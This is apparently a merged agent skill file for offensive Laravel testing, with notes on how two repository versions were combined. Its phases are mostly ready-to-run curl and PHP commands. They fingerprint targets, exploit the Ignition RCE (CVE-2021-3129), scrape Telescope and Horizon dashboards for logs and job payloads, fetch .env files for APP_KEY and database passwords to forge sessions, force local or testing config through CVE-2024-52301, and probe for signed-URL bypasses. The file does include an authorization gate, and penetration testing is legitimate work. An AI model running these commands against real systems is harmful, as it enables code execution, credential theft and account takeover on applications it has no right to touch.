domains / security / laravel-vuln-hunt / hunt-laravel
Both copies implement the same Laravel red-team procedure (fingerprinting, Ignition RCE, Telescope/Horizon, .env/APP_KEY, signed URLs). The uphiago copy is the more complete, self-contained procedure with explicit timeouts and a signed-URL phase, while the sickn33 copy adds a mandatory authorization gate and an extra CVE-2024-52301 environment-override phase that the other lacks. Crowning one would hide either the authorization constraint or the additional CVE, so the copies should be combined.
| Repository | Path |
|---|---|
| uphiago/recon-skills | redteam/hunt-laravel/SKILL.md |
| sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-laravel/SKILL.md |
| Role | Repository | Path |
|---|---|---|
| peer | uphiago/recon-skills | redteam/hunt-laravel/SKILL.md |
| peer | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills-claude/skills/hunt-laravel/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | plugins/agentic-awesome-skills/skills/hunt-laravel/SKILL.md |
| adapter | sickn33/agentic-awesome-skills | skills/hunt-laravel/SKILL.md |
---
name: hunt-laravel
description: Hunt Laravel specific vulnerabilities — Debug mode leakage, Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure, and environment override via query args (CVE-2024-52301). Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.
version: 1.2.0
license: MIT
category: security
risk: offensive
tags: [laravel, hunt, redteam, php]
---
# HUNT-LARAVEL — Laravel Specific Vulnerabilities
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
## Crown Jewel Targets
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
**Highest-value findings:**
- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
- **Environment override (CVE-2024-52301)** — `?--env=local` flips app into local/testing config when `register_argc_argv=On`
---
## Phase 1 — Fingerprint Laravel
```bash
# Laravel-specific indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
```
---
## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
```bash
# Step 1: Check if debug mode is enabled (Whoops error page)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'
```
---
## Phase 3 — Laravel Telescope & Horizon
```bash
# Telescope — request/response logs, DB queries, jobs, cache, events
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done
```
---
## Phase 4 — .env File & APP_KEY Exposure
```bash
# Direct .env access
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.production"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.backup"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
```
---
## Phase 4b — Environment override via query args (CVE-2024-52301)
When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
```bash
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/?--env=local" # force debug/local config
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/?--env=testing" # force testing config
```
---
## Phase 5 — Signed URL Manipulation
```bash
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl --max-time 30 --connect-timeout 10 -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature param
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/unsubscribe?user=123&email=test@test.com"
```
---
## Conflicts
- **uphiago/recon-skills** includes explicit `--max-time 30 --connect-timeout 10` on all curl commands; **sickn33/agentic-awesome-skills** omits these timeouts. The combined instruction uses the explicit timeouts from uphiago/recon-skills.
- **sickn33/agentic-awesome-skills** includes a mandatory authorization confirmation gate before any probing; **uphiago/recon-skills** does not include this gate. The combined instruction includes the authorization gate from sickn33/agentic-awesome-skills.
- **sickn33/agentic-awesome-skills** includes Phase 4b for CVE-2024-52301 environment override via query args; **uphiago/recon-skills** does not include this phase. The combined instruction includes Phase 4b from sickn33/agentic-awesome-skills.